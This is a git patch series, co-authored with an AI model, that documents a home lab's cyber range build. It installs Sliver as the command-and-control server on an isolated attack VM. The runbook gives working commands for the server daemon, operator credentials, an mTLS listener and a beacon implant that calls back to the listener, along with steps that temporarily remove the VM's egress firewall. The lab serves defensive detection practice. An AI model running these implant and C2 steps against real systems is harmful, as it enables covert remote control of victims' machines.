From 133c6b00b29f8b8aabb919976f5991e4d6f8d1d3 Mon Sep 17 00:00:00 2001 From: Gerrrt Date: Sun, 22 Nov 2026 20:33:55 -0800 Subject: [PATCH 1/3] feat(range): install Sliver as the range C2 on ragnarok (ADR-0095) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The last build piece of #421. build-the-playground.md §5 gains "The C2": pin and signature-verify Sliver v1.7.9, run it as a systemd daemon, and a worked beacon proof. The operator console (31337/tcp on the lease) joins §5's reachability list. Installed on ragnarok 2026-11-22; a Linux beacon on target 101 called back to the mTLS listener on 172.30.30.10 with the outbound scope on, forwarding still 0. The target was reverted to clean. The install is on the running VM (not template 902, shared with garuda), so a tofu rebuild reruns §5 — Sliver is VM state, like the targets. Closes #1481. Co-Authored-By: Claude Opus 4.8 --- docs/changelog.md | 17 ++++ docs/roadmap.md | 5 +- docs/runbooks/build-the-playground.md | 123 ++++++++++++++++++++++++-- 3 files changed, 138 insertions(+), 7 deletions(-) diff --git a/docs/changelog.md b/docs/changelog.md index dd0b7f9c..aa52fed5 100644 --- a/docs/changelog.md +++ b/docs/changelog.md @@ -19,6 +19,23 @@ docstring gives: it is a record, not a claim about now. ## 2026-11-22 +- **Sliver is the range C2, installed on `ragnarok`, and a target beaconed + back ([ADR-0095](adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md), + [#1481](https://github.com/Gerrrt/HomeLab/issues/1481)).** `build-the-playground.md` + §5 gains *The C2*. The server (v1.7.9, signature verified against Sliver's + own minisign key) runs as a `sliver` systemd daemon, operator console on + `31337/tcp` on the lease, added to §5's reachability list. The install + lifted the outbound scope and `systemctl restart nftables` put it back, with + forwarding still `0` — the thing #1481 names, because installing Docker would + have turned it on. An mTLS listener on `172.30.30.10:8443` and a Linux beacon + run on `ms3-ub1404` (VMID 101) produced a call-back from `172.30.30.101`, + with the scope on, so a range target reaches the C2 and the scope does not + break it. The target was reverted to `clean`. The install is on the running + VM, not the template, so a `tofu` rebuild of `ragnarok` reruns §5's steps, + as the targets are redone — Sliver is VM state (ADR-0095). The install left + one stale test-beacon record on the server, which Sliver prunes an hour + after its last check-in. This is the last piece of + [#421](https://github.com/Gerrrt/HomeLab/issues/421)'s build. - **`gandalf` stays on, and the attack VM stops on a timer instead ([ADR-0125](adr/0125-keep-gandalf-on-and-stop-ragnarok-on-a-timer.md), [#1647](https://github.com/Gerrrt/HomeLab/issues/1647)).** ADR-0125 diff --git a/docs/roadmap.md b/docs/roadmap.md index 886f3127..914cf760 100644 --- a/docs/roadmap.md +++ b/docs/roadmap.md @@ -117,8 +117,9 @@ Gated on the domain, on a household observation, or on something to publish. management plane, and the attack VM `ragnarok` on template 902. So are §8 and §9, which ran before any target, because the leak proof must run before any vulnerable image is on the machine, and then §6, the targets. - Next, Sliver goes on `ragnarok` before the first exercise: - [#1481](https://github.com/Gerrrt/HomeLab/issues/1481). + The C2, Sliver on `ragnarok`, went on 2026-11-22 and a target beaconed back + ([#1481](https://github.com/Gerrrt/HomeLab/issues/1481), §5), so the build is + complete and what is left is the exercises below, each its own issue. The name is [ADR-0106](adr/0106-name-the-range-host-gandalf-and-leave-ifrit-to-its-disabled-amt.md)'s. → [runbook](runbooks/build-the-playground.md) diff --git a/docs/runbooks/build-the-playground.md b/docs/runbooks/build-the-playground.md index 87cbc9bb..40df96f1 100644 --- a/docs/runbooks/build-the-playground.md +++ b/docs/runbooks/build-the-playground.md @@ -1006,15 +1006,128 @@ narrow `50 → 30` without the list: Proxmox on `10.0.30.30:8006`, the C2 operator's interface on the attack VM, and whatever the lab's Grafana and RDP into the estate already need on `Saruman`. -As of 2026-11-09 the list is: +As of 2026-11-22 the list is: - Proxmox on `10.0.30.30:8006` and SSH on `10.0.30.30:22`, ADR-0014's rules. - SSH to `ragnarok` on its lease, port 22. +- Sliver's operator console on `ragnarok`'s lease, `31337/tcp` + ([ADR-0095](../adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md), *The + C2* below). The lease is not reserved, so a rule written for #228 names the + segment, not the address. + +### The C2: Sliver on `ragnarok` + +The range's command-and-control is Sliver, on the attack VM +([ADR-0095](../adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md)). It is +chosen to be well-signatured on purpose: the point is for the estate's SOC to +**catch** the channel, so an early miss is a real gap, not an artefact of an +exotic tool. One server binary runs as a daemon on `ragnarok`; an operator +reaches it from a Hicks workstation over the existing `50 → 30` path. Nothing +new is opened toward the house. + +Installing it needs the internet the outbound scope takes away, so lift both +tables for the install and put them back, as above. Pin the release and verify +its signature against Sliver's own minisign key, the way this repository trusts +no third-party binary unchecked. As root on `ragnarok`: -Sliver ([ADR-0095](../adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md)) -is not installed yet. Its operator port joins the list when it is. The lease -is not reserved, so a rule written for #228 names the segment, not the -address. +```bash +nft delete table inet range_scope +nft delete table netdev range_scope_l2 +apt-get install -y minisign +cd /opt && mkdir -p sliver-dist && cd sliver-dist +BASE=https://github.com/BishopFox/sliver/releases/download/v1.7.9 +PK='RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR' +for f in sliver-server_linux-amd64 sliver-client_linux-amd64; do + curl -fSL -o "$f" "$BASE/$f"; curl -fSL -o "$f.minisig" "$BASE/$f.minisig" + minisign -V -P "$PK" -m "$f" # must print "Signature and comment signature verified" +done +install -m0755 sliver-server_linux-amd64 /usr/local/bin/sliver-server +install -m0755 sliver-client_linux-amd64 /usr/local/bin/sliver-client +ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver +sliver-server unpack --force +``` + +The `PK` is Sliver's published minisign public key, taken from its own install +script (`https://sliver.sh/install`) rather than typed from memory. The server +binary is large because it carries the compilers it builds implants with, so +generation is offline — which is why the scope can go back on before the first +implant is built. + +Run the server as a daemon and make an operator config for Hicks (`--lhost` is +`ragnarok`'s VLAN 30 lease, where the operator connects): + +```bash +cat > /etc/systemd/system/sliver.service <<'UNIT' +[Unit] +Description=Sliver C2 server (range, ADR-0095) +After=network.target +StartLimitIntervalSec=0 +[Service] +Type=simple +Restart=on-failure +RestartSec=3 +User=root +ExecStart=/usr/local/bin/sliver-server daemon +[Install] +WantedBy=multi-user.target +UNIT +chmod 600 /etc/systemd/system/sliver.service +systemctl daemon-reload && systemctl enable --now sliver.service +sliver-server operator --name root --lhost 127.0.0.1 --permissions all --save /root/.sliver-client/configs/ +sliver-server operator --name operator-hicks --lhost "$(ip -4 -o addr show eth0 | awk '{print $4}' | cut -d/ -f1)" --permissions all --save /tmp/operator-hicks.cfg +``` + +**Then put the scope back** before anything else — `systemctl restart nftables` +— and confirm the install did not turn forwarding on, which is Docker's trick +and Sliver's install does not use (#1481): + +```bash +sysctl -n net.ipv4.ip_forward net.ipv6.conf.all.forwarding # 0 and 0 +nft list tables # both range_scope tables back +``` + +The operator config `operator-hicks.cfg` is carried to the Hicks workstation +and imported with `sliver-client import operator-hicks.cfg`; the console is +then `sliver-client`. The config holds a client certificate and key, so it is +**never committed** (ADR-0095, [`security.md`](../security.md)): it is a +credential, like an implant or a profile. + +**The operator port is `31337/tcp` on `ragnarok`'s lease**, Sliver's +multiplayer listener. Add it to the list above. It is reached from Hicks over +the `50 → 30` path, not from `garuda` (which is defensive, ADR-0091). + +A beacon proves the channel end to end. Start a listener on the range bridge, +build an implant for a target, run it there, and watch it call back. The +listener is on `172.30.30.10` (`eth1`, `vmbr1`), so the callback crosses the +segment the SOC watches: + +```bash +# in the console (sliver-client), or piped: printf '…\n' | sliver-client +mtls --lhost 172.30.30.10 --lport 8443 +generate beacon --mtls 172.30.30.10:8443 --os linux --arch amd64 --seconds 5 --save /tmp/rag_beacon +``` + +The implant is delivered the way an exercise would — here, over SSH to a +target on `vmbr1` — and run. Within a few beacon intervals, `beacons` in the +console lists it. The outbound scope stays **on** for this: the callback is +`172.30.30.x → 172.30.30.10`, inside the range subnet the scope allows, which +also shows the scope does not break legitimate range C2. + +Keep implants and listeners on `10.0.30.0/24` and `172.30.30.0/24` only +(ADR-0014): the scope on `ragnarok` enforces it, and a listener bound off those +subnets is the mis-scope to avoid. Per [`security.md`](../security.md) and the +`docs/exercises/` rules, exercise files name the framework, transport and +technique by ATT&CK ID and carry no profiles, implants, operator configs or +keys. + +> **Installed on `ragnarok` 2026-11-22**, v1.7.9, signatures verified. The +> daemon listens on `31337`. A Linux beacon over mTLS on `172.30.30.10:8443` +> was run on `ms3-ub1404` (VMID 101, `172.30.30.101`) and called back; the +> target was reverted to `clean` afterwards. The install lifted the scope and +> `systemctl restart nftables` put it back, with forwarding still `0`. The +> install is on the running VM, so a `tofu` rebuild of `ragnarok` loses it and +> this subsection is rerun — like the targets, Sliver is VM state, not part of +> the template. --- From 8448f6c9e68d9907c0a42654d20959647bad41e2 Mon Sep 17 00:00:00 2001 From: Gerrrt Date: Sun, 22 Nov 2026 20:43:15 -0800 Subject: [PATCH 2/3] =?UTF-8?q?docs(range):=20harden=20=C2=A75=20Sliver=20?= =?UTF-8?q?install=20and=20correct=20the=20beacon's=20scope=20claim?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Review on #1654: - The install block now runs under set -e with a trap that restores the nftables scope on any exit, so a failed download or signature check aborts and leaves ragnarok filtered, not open. - Create /root/.sliver-client/configs (0700) before `operator --save`, which does not make its parent. - Re-prove the scope with a finish-attack-vm.sh rerun from phoenix (§8 check three, including the raw-Ethernet path), required before the beacon; the two local reads only show the tables are loaded. - The vmbr1 beacon is a range-local reachability proof, not SOC visibility: Zeek mirrors Saruman's vmbr0, not gandalf's isolated vmbr1. SOC visibility is an exercise with a domain host on VLAN 30. Co-Authored-By: Claude Opus 4.8 --- docs/changelog.md | 8 +++- docs/runbooks/build-the-playground.md | 61 +++++++++++++++++++++------ 2 files changed, 53 insertions(+), 16 deletions(-) diff --git a/docs/changelog.md b/docs/changelog.md index aa52fed5..b712559a 100644 --- a/docs/changelog.md +++ b/docs/changelog.md @@ -29,8 +29,12 @@ docstring gives: it is a record, not a claim about now. forwarding still `0` — the thing #1481 names, because installing Docker would have turned it on. An mTLS listener on `172.30.30.10:8443` and a Linux beacon run on `ms3-ub1404` (VMID 101) produced a call-back from `172.30.30.101`, - with the scope on, so a range target reaches the C2 and the scope does not - break it. The target was reverted to `clean`. The install is on the running + with the scope on — a range-local reachability proof on `vmbr1`, which Zeek + does not see, not a SOC-visibility one (that is a later exercise with a + domain host on VLAN 30). The scope restore was the lightweight reload; the + full `finish-attack-vm.sh` re-prove (§8 check three, the raw-Ethernet path) + needs `phoenix`'s credentials and is left for the next session. The target + was reverted to `clean`. The install is on the running VM, not the template, so a `tofu` rebuild of `ragnarok` reruns §5's steps, as the targets are redone — Sliver is VM state (ADR-0095). The install left one stale test-beacon record on the server, which Sliver prunes an hour diff --git a/docs/runbooks/build-the-playground.md b/docs/runbooks/build-the-playground.md index 40df96f1..808f6955 100644 --- a/docs/runbooks/build-the-playground.md +++ b/docs/runbooks/build-the-playground.md @@ -1031,6 +1031,11 @@ its signature against Sliver's own minisign key, the way this repository trusts no third-party binary unchecked. As root on `ragnarok`: ```bash +set -euo pipefail +# Put the scope back on any exit, so a failed download or signature check +# leaves the VM filtered, not open. `set -e` makes curl or minisign abort the +# block, and the trap still restores the scope. +trap 'systemctl restart nftables' EXIT nft delete table inet range_scope nft delete table netdev range_scope_l2 apt-get install -y minisign @@ -1038,8 +1043,9 @@ cd /opt && mkdir -p sliver-dist && cd sliver-dist BASE=https://github.com/BishopFox/sliver/releases/download/v1.7.9 PK='RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR' for f in sliver-server_linux-amd64 sliver-client_linux-amd64; do - curl -fSL -o "$f" "$BASE/$f"; curl -fSL -o "$f.minisig" "$BASE/$f.minisig" - minisign -V -P "$PK" -m "$f" # must print "Signature and comment signature verified" + curl -fSL -o "$f" "$BASE/$f" + curl -fSL -o "$f.minisig" "$BASE/$f.minisig" + minisign -V -P "$PK" -m "$f" # non-zero if it does not verify, which set -e catches done install -m0755 sliver-server_linux-amd64 /usr/local/bin/sliver-server install -m0755 sliver-client_linux-amd64 /usr/local/bin/sliver-client @@ -1047,6 +1053,11 @@ ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver sliver-server unpack --force ``` +The `trap` restores the outbound scope whether the block finishes or a +download or signature check fails part way, so an aborted install never leaves +`ragnarok` without its filter. The server binary generates implants offline, +so the scope is already back before the first one is built. + The `PK` is Sliver's published minisign public key, taken from its own install script (`https://sliver.sh/install`) rather than typed from memory. The server binary is large because it carries the compilers it builds implants with, so @@ -1073,19 +1084,31 @@ WantedBy=multi-user.target UNIT chmod 600 /etc/systemd/system/sliver.service systemctl daemon-reload && systemctl enable --now sliver.service +# `operator --save` writes into the directory but does not create it, so make +# it first (0700: it will hold a client certificate and key). +install -d -m 0700 /root/.sliver-client/configs sliver-server operator --name root --lhost 127.0.0.1 --permissions all --save /root/.sliver-client/configs/ sliver-server operator --name operator-hicks --lhost "$(ip -4 -o addr show eth0 | awk '{print $4}' | cut -d/ -f1)" --permissions all --save /tmp/operator-hicks.cfg ``` -**Then put the scope back** before anything else — `systemctl restart nftables` -— and confirm the install did not turn forwarding on, which is Docker's trick -and Sliver's install does not use (#1481): +**Then re-prove the scope** before the beacon. The install's `trap` already +restored the tables (`systemctl restart nftables` reloads them), and a quick +local check is: ```bash sysctl -n net.ipv4.ip_forward net.ipv6.conf.all.forwarding # 0 and 0 nft list tables # both range_scope tables back ``` +But that only shows the tables are loaded, not that egress is actually +dropped. The proof #1481 asks for is a rerun of +[`finish-attack-vm.sh`](../../scripts/finish-attack-vm.sh) from `phoenix`, +which reloads the scope and runs §8's check three: forwarding `0`, no NAT in +`nft` or legacy `iptables`, and a raw-Ethernet send to `1.1.1.1` that must be +counted in `out_of_scope` and dropped. Installing Docker would have turned +forwarding on; Sliver's install does not, and the script is what confirms it. +**Its checks must pass before the beacon below.** + The operator config `operator-hicks.cfg` is carried to the Hicks workstation and imported with `sliver-client import operator-hicks.cfg`; the console is then `sliver-client`. The config holds a client certificate and key, so it is @@ -1096,10 +1119,16 @@ credential, like an implant or a profile. multiplayer listener. Add it to the list above. It is reached from Hicks over the `50 → 30` path, not from `garuda` (which is defensive, ADR-0091). -A beacon proves the channel end to end. Start a listener on the range bridge, -build an implant for a target, run it there, and watch it call back. The -listener is on `172.30.30.10` (`eth1`, `vmbr1`), so the callback crosses the -segment the SOC watches: +A beacon proves the channel works end to end. Start a listener on the range +bridge, build an implant for a target, run it there, and watch it call back. +The listener is on `172.30.30.10` (`eth1`, `vmbr1`). **This is a range-local +C2 reachability proof, not a SOC-visibility one:** the callback stays on +`vmbr1`, the routeless bridge, which the estate's Zeek never sees — Zeek +mirrors `Saruman`'s `vmbr0` ([`network.md`](../network.md)), not this one. SOC +visibility is what an *exercise* measures, when a **domain host on VLAN 30** +beacons — that callback crosses the segment the SOC watches (ADR-0095), and a +miss there is a real detection gap. Here the point is only that the C2 runs +and the scope does not block a legitimate range callback: ```bash # in the console (sliver-client), or piped: printf '…\n' | sliver-client @@ -1122,12 +1151,16 @@ keys. > **Installed on `ragnarok` 2026-11-22**, v1.7.9, signatures verified. The > daemon listens on `31337`. A Linux beacon over mTLS on `172.30.30.10:8443` -> was run on `ms3-ub1404` (VMID 101, `172.30.30.101`) and called back; the +> was run on `ms3-ub1404` (VMID 101, `172.30.30.101`) and called back — a +> range-local reachability proof on `vmbr1`, not a SOC-visibility one. The > target was reverted to `clean` afterwards. The install lifted the scope and -> `systemctl restart nftables` put it back, with forwarding still `0`. The -> install is on the running VM, so a `tofu` rebuild of `ragnarok` loses it and -> this subsection is rerun — like the targets, Sliver is VM state, not part of -> the template. +> `systemctl restart nftables` put it back, with forwarding `0` and a send +> past the segment refused. The full re-prove — `finish-attack-vm.sh` from +> `phoenix`, §8 check three, which also exercises the raw-Ethernet path — was +> not rerun here, because it needs `phoenix`'s credentials; run it before the +> next session uses the range. The install is on the running VM, so a `tofu` +> rebuild of `ragnarok` loses it and this subsection is rerun — like the +> targets, Sliver is VM state, not part of the template. --- From e8a905c01acb347f4b64b6d8c30e643ccd102d8e Mon Sep 17 00:00:00 2001 From: Gerrrt Date: Sun, 22 Nov 2026 20:50:18 -0800 Subject: [PATCH 3/3] docs(roadmap): the range build is done; retire #421's entry Sliver was the last piece. Remove #421's roadmap entry and keep its worthwhile content as a dated changelog record. What is left on the range is the exercises, each its own issue. Closes #421. Co-Authored-By: Claude Opus 4.8 --- docs/changelog.md | 9 +++++++++ docs/roadmap.md | 13 ------------- 2 files changed, 9 insertions(+), 13 deletions(-) diff --git a/docs/changelog.md b/docs/changelog.md index b712559a..e34d3f99 100644 --- a/docs/changelog.md +++ b/docs/changelog.md @@ -19,6 +19,15 @@ docstring gives: it is a record, not a claim about now. ## 2026-11-22 +- **The range on `gandalf` is built + ([#421](https://github.com/Gerrrt/HomeLab/issues/421) closed).** The whole of + [`build-the-playground.md`](runbooks/build-the-playground.md) has run: the + host and its two bridges (§1–§2), `Saruman` at `.20` and the closed + management plane (§3–§4), the attack VM `ragnarok` on template 902 (§5), the + three targets (§6), the four-property and leak proofs that ran before any + vulnerable image (§8–§9), and now the C2, Sliver (§5, #1481). Gated on #414 + and the SOC, both long met. What is left on the range is the exercises, each + its own issue in the `last` milestone. Its roadmap entry leaves with this. - **Sliver is the range C2, installed on `ragnarok`, and a target beaconed back ([ADR-0095](adr/0095-run-sliver-as-the-range-c2-on-the-attack-vm.md), [#1481](https://github.com/Gerrrt/HomeLab/issues/1481)).** `build-the-playground.md` diff --git a/docs/roadmap.md b/docs/roadmap.md index 914cf760..349a9626 100644 --- a/docs/roadmap.md +++ b/docs/roadmap.md @@ -110,19 +110,6 @@ Ansible, Sysmon and BloodHound each closed with its issue, and the record is in Gated on the domain, on a household observation, or on something to publish. -- **[#421](https://github.com/Gerrrt/HomeLab/issues/421) Build the range on - `gandalf`.** Gated on #414 and the SOC: an attack VM pointed at an - uninstrumented estate teaches nothing. Both are met. The runbook's §1–§5 - are behind it: the host, its bridges, `Saruman` at `.20`, the closed - management plane, and the attack VM `ragnarok` on template 902. So are §8 - and §9, which ran before any target, because the leak proof must run - before any vulnerable image is on the machine, and then §6, the targets. - The C2, Sliver on `ragnarok`, went on 2026-11-22 and a target beaconed back - ([#1481](https://github.com/Gerrrt/HomeLab/issues/1481), §5), so the build is - complete and what is left is the exercises below, each its own issue. - The name is - [ADR-0106](adr/0106-name-the-range-host-gandalf-and-leave-ifrit-to-its-disabled-amt.md)'s. - → [runbook](runbooks/build-the-playground.md) - **[#1176](https://github.com/Gerrrt/HomeLab/issues/1176) Move the SOC to Wazuh 5.0.** Gated on a stable 5.0 release. It retires filebeat and the certificate generator, and it is the only path that closes the CVE issues